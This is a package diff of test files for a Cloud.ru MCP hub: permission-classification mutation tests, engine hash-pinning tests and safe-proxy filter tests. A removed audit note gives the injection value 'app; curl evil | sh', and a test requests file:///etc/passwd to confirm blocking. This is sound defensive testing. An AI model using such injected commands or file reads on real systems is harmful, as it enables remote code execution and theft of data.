@dzhechkov/cloudru-hub 0.1.11 → 0.1.13

package/test/mutation-registry.json

@@ -46,10 +46,12 @@
       "property": "Post-grant (ADR-001 AM-2) the pack must REMAIN publishable — a stray private:true would silently kill every future publish while CI stays green, so the publishable-state assertion must go red on it. (The Grant-Confirmation URL protection itself lives in LICENSE, which the gate cannot mutate — extensionless file, no parser; its layer-1 coverage is the pack-holds LICENSE assertions plus the dz guard licence-hold rule, both reading LICENSE directly on every run/publish.)",
       "file": "package.json",
       "mutation": {
-        "find": "  \"version\": \"0.1.4\",",
-        "replace": "  \"version\": \"0.1.4\",\n  \"private\": true,"
+        "find": "  \"publishConfig\": {",
+        "replace": "  \"private\": true,\n  \"publishConfig\": {"
       },
-      "minFailing": 1
+      "minFailing": 1,
+      "observed": 1,
+      "maxFailing": 1
     },
     {
       "id": "licence-block-guard-trigger-declared",
@@ -72,18 +74,18 @@
       "minFailing": 1
     },
     {
-      "id": "brake-stack-status-stays-ask",
-      "property": "stack_status ADVANCES a planned/running stack job server-side (handleStackStatus tools_stack.go:451 → advance :479-484 → s.callTool :220 invokes provision/pg_create/… — LIVE-REPRODUCED: one call moved a planned job planned→running and attempted provision, stopped only at AUTH_REQUIRED). Flipping it back to allow re-opens the zero-prompt paid chain stack_plan→stack_status and must go red (ADR-004 AM-1, cross-model QE HIGH).",
+      "id": "stack-status-remains-observational",
+      "property": "After the engine fix, stack_status reads persisted job state without advancing steps; stack_apply remains the explicitly gated mutation. Reclassifying status as ask loses the read-only contract and must fail the golden test.",
       "file": "data/tools-classification.json",
       "mutation": {
-        "find": "\"stack_status\": {\n      \"effect\": \"mutating\",\n      \"permission\": \"ask\",",
-        "replace": "\"stack_status\": {\n      \"effect\": \"mutating\",\n      \"permission\": \"allow\","
+        "find": "\"stack_status\": {\n      \"effect\": \"read-only\",\n      \"permission\": \"allow\",",
+        "replace": "\"stack_status\": {\n      \"effect\": \"read-only\",\n      \"permission\": \"ask\","
       },
-      "minFailing": 2
+      "minFailing": 1
     },
     {
       "id": "brake-logs-stays-ask",
-      "property": "logs concatenates its user-controlled `service` arg RAW into a remote `docker compose logs <service>` executed over SSH (handleLogs tools.go:1758 → engine/logs.go:61 `cmd += \" \" + opts.Service` → Deployer.Exec logs.go:64 → session.CombinedOutput internal/deploy/ssh.go:117), so service=\"app; curl evil | sh\" is arbitrary RCE on the user's VM. Flipping it back to allow puts a zero-prompt command-injection path behind a SILENT allow and must go red (ADR-004 AM-2, shell-reach hazard axis, cross-model QE HIGH).",
+      "property": "The pinned engine quotes logs.service before remote execution, but logs still reaches SSH/compose and can disclose sensitive output. Flipping its classification from ask to allow violates the reviewed shell-reach boundary.",
       "file": "data/tools-classification.json",
       "mutation": {
         "find": "\"logs\": {\n      \"effect\": \"shell-reach\",\n      \"permission\": \"ask\",",

package/test/resolve.test.mjs

@@ -1,17 +1,28 @@
 // Engine resolution tests — ADR-002: runtime resolution, sha256 pin, loud esbuild-style error.
-import { test } from 'node:test';
+import { after, test } from 'node:test';
 import assert from 'node:assert/strict';
 import fs from 'node:fs';
 import os from 'node:os';
 import path from 'node:path';
 import crypto from 'node:crypto';
+import { spawnSync } from 'node:child_process';
 import { createRequire } from 'node:module';
+import { fileURLToPath } from 'node:url';
 
 const require = createRequire(import.meta.url);
 const { resolveEngine, sha256File, platformKey } = require('../src/resolve.js');
 const PKG = require('../package.json');
 
-const tmp = () => fs.mkdtempSync(path.join(os.tmpdir(), 'cloudru-resolve-'));
+// Every scratch dir is removed at the end (after() + process exit) unless DZ_KEEP_TMP=1 —
+// MEASURED 2026-09-20: 18 cloudru-resolve-* dirs per full sweep (backlog 7cb6f9b7).
+const created = [];
+const removeCreated = () => {
+  if (process.env.DZ_KEEP_TMP === '1') return;
+  for (const d of created.splice(0)) fs.rmSync(d, { recursive: true, force: true });
+};
+after(removeCreated);
+process.on('exit', removeCreated);
+const tmp = () => { const d = fs.mkdtempSync(path.join(os.tmpdir(), 'cloudru-resolve-')); created.push(d); return d; };
 
 test('env CLOUDRU_VM_BIN wins and is hashed; a non-pinned file reports verified:false but resolves', () => {
   const dir = tmp();
@@ -24,6 +35,37 @@ test('env CLOUDRU_VM_BIN wins and is hashed; a non-pinned file reports verified:
   assert.equal(r.verified, false);
 });
 
+test('mcp refuses a non-pinned engine before executing it', () => {
+  const dir = tmp();
+  const marker = path.join(dir, 'executed');
+  const fake = path.join(dir, 'cloudru-vm');
+  fs.writeFileSync(fake, `#!/bin/sh\ntouch "${marker}"\n`);
+  fs.chmodSync(fake, 0o755);
+  const result = spawnSync(process.execPath, [path.join(path.dirname(fileURLToPath(import.meta.url)), '../bin/cloudru-hub.js'), 'mcp'], {
+    encoding: 'utf8', timeout: 5000,
+    env: { ...process.env, CLOUDRU_VM_BIN: fake, CLOUDRU_HUB_CONFIG: path.join(dir, 'none.json') },
+  });
+  assert.equal(result.status, 1);
+  assert.match(result.stderr, /does not match pinned .*refusing to launch/);
+  assert.equal(fs.existsSync(marker), false);
+});
+
+test('self-test stops on a non-pinned engine before version or MCP probe', () => {
+  const dir = tmp();
+  const marker = path.join(dir, 'executed');
+  const fake = path.join(dir, 'cloudru-vm');
+  fs.writeFileSync(fake, `#!/bin/sh\ntouch "${marker}"\n`);
+  fs.chmodSync(fake, 0o755);
+  const result = spawnSync(process.execPath, [path.join(path.dirname(fileURLToPath(import.meta.url)), '../bin/cloudru-hub.js'), 'self-test', '--json'], {
+    encoding: 'utf8', timeout: 5000,
+    env: { ...process.env, CLOUDRU_VM_BIN: fake, CLOUDRU_HUB_CONFIG: path.join(dir, 'none.json') },
+  });
+  assert.equal(result.status, 1);
+  const report = JSON.parse(result.stdout);
+  assert.deepEqual(report.steps.map((step) => [step.name, step.ok]), [['resolve', true], ['sha256', false]]);
+  assert.equal(fs.existsSync(marker), false);
+});
+
 test('a file matching the pinned baseline hash reports verified:true', () => {
   // Only meaningful on linux-x64 (the single pinned platform, ADR-002 point 4).
   const key = platformKey();
@@ -73,9 +115,9 @@ test('sha256File matches node crypto', () => {
   assert.equal(sha256File(f), crypto.createHash('sha256').update('abc').digest('hex'));
 });
 
-test('the pinned linux-x64 hash is the ADR-002 measured engine sha256', () => {
+test('the pinned linux-x64 hash is the rebuilt private engine sha256', () => {
   assert.equal(
     PKG.cloudruHub.binaryHashes['linux-x64'],
-    '59f83fc0678b95146ca539764d0c805bd2514b8588f198c1e835b26e54c05124',
+    '89c5073418927ee71ac1de381eaba5ab69d599d615edc51b868d876e712dbf10',
   );
 });

package/test/safe-mcp.test.mjs

@@ -0,0 +1,162 @@
+import { after, test } from 'node:test';
+import assert from 'node:assert/strict';
+import fs from 'node:fs';
+import os from 'node:os';
+import path from 'node:path';
+import { spawn, spawnSync } from 'node:child_process';
+import { createRequire } from 'node:module';
+
+const require = createRequire(import.meta.url);
+const cls = require('../data/tools-classification.json');
+const { GROUPS, selectedToolNames } = require('../src/toolsets.js');
+const pkg = path.resolve(import.meta.dirname, '..');
+const scratch = fs.mkdtempSync(path.join(os.tmpdir(), 'cloudru-safe-mcp-'));
+after(() => fs.rmSync(scratch, { recursive: true, force: true }));
+
+const fake = path.join(scratch, 'fake-engine');
+const log = path.join(scratch, 'forwarded.jsonl');
+fs.writeFileSync(fake, `#!/usr/bin/env node
+const fs=require('fs');let b='';process.stdin.setEncoding('utf8');process.stdin.on('data',x=>{b+=x;let i;while((i=b.indexOf('\\n'))>=0){const line=b.slice(0,i);b=b.slice(i+1);if(!line)continue;const m=JSON.parse(line);fs.appendFileSync(process.env.FAKE_LOG,JSON.stringify(m)+'\\n');if(!Object.hasOwn(m,'id'))continue;let result={};if(m.method==='initialize')result={protocolVersion:'2025-06-18',capabilities:{tools:{},resources:{}},serverInfo:{name:'fake',version:'1'}};else if(m.method==='tools/list')result={tools:[{name:'vm_list'},{name:'deploy'},{name:'secret_value'},{name:'unknown_new'}]};else if(m.method==='tools/call')result={content:[{type:'text',text:'executed '+m.params.name}]};process.stdout.write(JSON.stringify({jsonrpc:'2.0',id:m.id,result})+'\\n');}});
+`);
+fs.chmodSync(fake, 0o755);
+
+const msg = (id, method, params) => JSON.stringify({ jsonrpc: '2.0', id, method, ...(params ? { params } : {}) });
+function run(lines, toolsets = 'all') {
+  fs.writeFileSync(log, '');
+  const script = `const {runSafeMcp}=require(${JSON.stringify(path.join(pkg, 'src/safe-mcp.js'))});runSafeMcp({toolsets:${JSON.stringify(toolsets)},resolved:{path:${JSON.stringify(fake)},verified:true,sha256:${JSON.stringify(cls.engineSha256)}}});`;
+  const r = spawnSync(process.execPath, ['-e', script], { input: lines.join('\n') + '\n', encoding: 'utf8', timeout: 5000, env: { ...process.env, FAKE_LOG: log } });
+  assert.equal(r.status, 0, r.stderr || r.error?.message);
+  return { responses: r.stdout.trim().split('\n').map(JSON.parse), forwarded: fs.readFileSync(log, 'utf8').trim().split('\n').filter(Boolean).map(JSON.parse) };
+}
+
+test('safe proxy filters listed tools and blocks ask, deny, unknown and other methods before engine', () => {
+  const out = run([
+    msg(1, 'initialize', { protocolVersion: '2025-06-18', capabilities: {}, clientInfo: { name: 'test', version: '1' } }),
+    msg(2, 'tools/list'),
+    msg(3, 'tools/call', { name: 'deploy', arguments: { confirmed: true } }),
+    msg(4, 'tools/call', { name: 'secret_value', arguments: {} }),
+    msg(5, 'tools/call', { name: 'unknown_new', arguments: {} }),
+    msg(6, 'resources/read', { uri: 'file:///etc/passwd' }),
+    msg(7, 'tools/call', { name: 'vm_list', arguments: {} }),
+  ]);
+  const byId = Object.fromEntries(out.responses.map((r) => [r.id, r]));
+  assert.deepEqual(byId[2].result.tools.map((t) => t.name), ['vm_list']);
+  assert.deepEqual(Object.keys(byId[1].result.capabilities), ['tools']);
+  for (const id of [3, 4, 5, 6]) assert.ok(byId[id].error, `request ${id} blocked`);
+  assert.match(byId[7].result.content[0].text, /executed vm_list/);
+  assert.deepEqual(out.forwarded.filter((m) => m.method === 'tools/call').map((m) => m.params.name), ['vm_list']);
+});
+
+test('Hermes keepalive gets the filtered tool list while the serial engine is busy', async () => {
+  const serial = path.join(scratch, 'serial-engine');
+  const serialLog = path.join(scratch, 'serial-forwarded.jsonl');
+  fs.writeFileSync(serial, `#!/usr/bin/env node
+const fs=require('fs');let buffer='',busy=false;const queue=[];
+function next(){if(busy||!queue.length)return;busy=true;const m=queue.shift();fs.appendFileSync(process.env.FAKE_LOG,JSON.stringify(m)+'\\n');
+const result=m.method==='tools/list'?{tools:[{name:'vm_list'},{name:'deploy'}]}:{content:[{type:'text',text:'done'}]};
+const done=()=>{process.stdout.write(JSON.stringify({jsonrpc:'2.0',id:m.id,result})+'\\n');busy=false;next();};
+if(m.method==='tools/call')setTimeout(done,1500);else done();}
+process.stdin.setEncoding('utf8');process.stdin.on('data',chunk=>{buffer+=chunk;let end;while((end=buffer.indexOf('\\n'))>=0){const line=buffer.slice(0,end);buffer=buffer.slice(end+1);if(line)queue.push(JSON.parse(line));}next();});
+`);
+  fs.chmodSync(serial, 0o755);
+  fs.writeFileSync(serialLog, '');
+  const script = `const {runSafeMcp}=require(${JSON.stringify(path.join(pkg, 'src/safe-mcp.js'))});runSafeMcp({resolved:{path:${JSON.stringify(serial)},verified:true,sha256:${JSON.stringify(cls.engineSha256)}}});`;
+  const child = spawn(process.execPath, ['-e', script], { stdio: ['pipe', 'pipe', 'pipe'], env: { ...process.env, FAKE_LOG: serialLog } });
+  const responses = new Map();
+  const listeners = new Map();
+  let buffer = '';
+  child.stdout.on('data', (chunk) => {
+    buffer += chunk;
+    let end;
+    while ((end = buffer.indexOf('\n')) >= 0) {
+      const line = buffer.slice(0, end);
+      buffer = buffer.slice(end + 1);
+      if (!line) continue;
+      const response = JSON.parse(line);
+      responses.set(response.id, response);
+      listeners.get(response.id)?.(response);
+    }
+  });
+  const waitFor = (id, timeoutMs) => new Promise((resolve, reject) => {
+    if (responses.has(id)) return resolve(responses.get(id));
+    const timer = setTimeout(() => reject(new Error(`MCP response ${id} timed out`)), timeoutMs);
+    listeners.set(id, (response) => { clearTimeout(timer); listeners.delete(id); resolve(response); });
+  });
+  try {
+    child.stdin.write(msg(1, 'tools/list') + '\n');
+    assert.deepEqual((await waitFor(1, 2000)).result.tools.map((t) => t.name), ['vm_list']);
+    child.stdin.write(msg(2, 'tools/call', { name: 'vm_list', arguments: {} }) + '\n');
+    child.stdin.write(msg(3, 'tools/list') + '\n');
+    assert.deepEqual((await waitFor(3, 1000)).result.tools.map((t) => t.name), ['vm_list']);
+    assert.equal((await waitFor(2, 2500)).result.content[0].text, 'done');
+    child.stdin.end();
+    assert.equal(await new Promise((resolve) => child.on('exit', resolve)), 0);
+    const forwarded = fs.readFileSync(serialLog, 'utf8').trim().split('\n').map(JSON.parse);
+    assert.deepEqual(forwarded.map((m) => m.method), ['tools/list', 'tools/call']);
+  } finally {
+    child.kill();
+  }
+});
+
+test('Go case-insensitive JSON aliases cannot change the validated method or tool name', () => {
+  const out = run([
+    JSON.stringify({ jsonrpc: '2.0', id: 1, method: 'tools/call', Method: 'tools/call', params: { name: 'vm_list', Name: 'deploy', arguments: {} }, Params: { name: 'deploy', arguments: { confirmed: true } } }),
+    JSON.stringify({ jsonrpc: '2.0', id: 2, method: 'ping', Method: 'tools/call', Params: { name: 'deploy', arguments: { confirmed: true } } }),
+    JSON.stringify({ jsonrpc: '2.0', id: 3, method: 'tools/call', params: { name: 'deploy' }, Params: { name: 'vm_list' } }),
+    JSON.stringify({ jsonrpc: '2.0', method: 'notifications/initialized', Method: 'tools/call', Params: { name: 'deploy' } }),
+    '{"jsonrpc":"2.0","id":4,"method":"tools/call","method":"resources/read","params":{"name":"vm_list"}}',
+  ]);
+  assert.equal(out.responses.find((r) => r.id === 1).result.content[0].text, 'executed vm_list');
+  assert.ok(out.responses.find((r) => r.id === 3).error);
+  assert.ok(out.responses.find((r) => r.id === 4).error);
+  assert.deepEqual(out.forwarded, [
+    { jsonrpc: '2.0', id: 1, method: 'tools/call', params: { name: 'vm_list', arguments: {} } },
+    { jsonrpc: '2.0', id: 2, method: 'ping' },
+    { jsonrpc: '2.0', method: 'notifications/initialized' },
+  ]);
+});
+
+test('a failed backend closes the proxy and resolves pending requests without host EOF', async () => {
+  const crashing = path.join(scratch, 'crashing-engine');
+  fs.writeFileSync(crashing, '#!/usr/bin/env node\nprocess.stdin.once("data", () => process.exit(2));\n');
+  fs.chmodSync(crashing, 0o755);
+  const script = `const {runSafeMcp}=require(${JSON.stringify(path.join(pkg, 'src/safe-mcp.js'))});runSafeMcp({resolved:{path:${JSON.stringify(crashing)},verified:true,sha256:${JSON.stringify(cls.engineSha256)}}});`;
+  const child = spawn(process.execPath, ['-e', script], { stdio: ['pipe', 'pipe', 'pipe'] });
+  let output = '';
+  child.stdout.on('data', (chunk) => { output += chunk; });
+  child.stdin.write(msg(1, 'tools/list') + '\n');
+  const timer = setTimeout(() => child.kill(), 2000);
+  const code = await new Promise((resolve) => child.on('exit', resolve));
+  clearTimeout(timer);
+  assert.equal(code, 1);
+  assert.match(output, /Cloud.ru engine connection closed/);
+});
+
+test('safe proxy rejects malformed JSON and batch requests', () => {
+  const out = run(['not-json', JSON.stringify([{ jsonrpc: '2.0', id: 1, method: 'tools/list' }])]);
+  assert.equal(out.responses.length, 2);
+  assert.ok(out.responses.every((r) => r.error));
+  assert.equal(out.forwarded.length, 0);
+});
+
+test('production command refuses an engine with a different hash', () => {
+  const r = spawnSync(process.execPath, [path.join(pkg, 'bin/cloudru-hub.js'), 'mcp-safe'], {
+    input: msg(1, 'tools/list') + '\n', encoding: 'utf8', timeout: 5000,
+    env: { ...process.env, CLOUDRU_VM_BIN: fake },
+  });
+  assert.equal(r.status, 1);
+  assert.match(r.stderr, /pinned engine SHA-256 required/);
+  assert.equal(r.stdout, '');
+});
+
+test('named toolsets reduce the visible surface and each member is allow-classified', () => {
+  for (const group of Object.keys(GROUPS)) {
+    const names = selectedToolNames(group);
+    assert.ok(names.length > 0);
+    for (const name of names) assert.equal(cls.tools[name].permission, 'allow');
+  }
+  const out = run([msg(1, 'tools/list'), msg(2, 'tools/call', { name: 'deploy', arguments: { confirmed: true } })], 'inventory');
+  assert.deepEqual(out.responses.find((r) => r.id === 1).result.tools.map((x) => x.name), ['vm_list']);
+  assert.equal(out.forwarded.filter((m) => m.method === 'tools/call').length, 0);
+  assert.throws(() => selectedToolNames('inventory,all'), /invalid toolsets/);
+});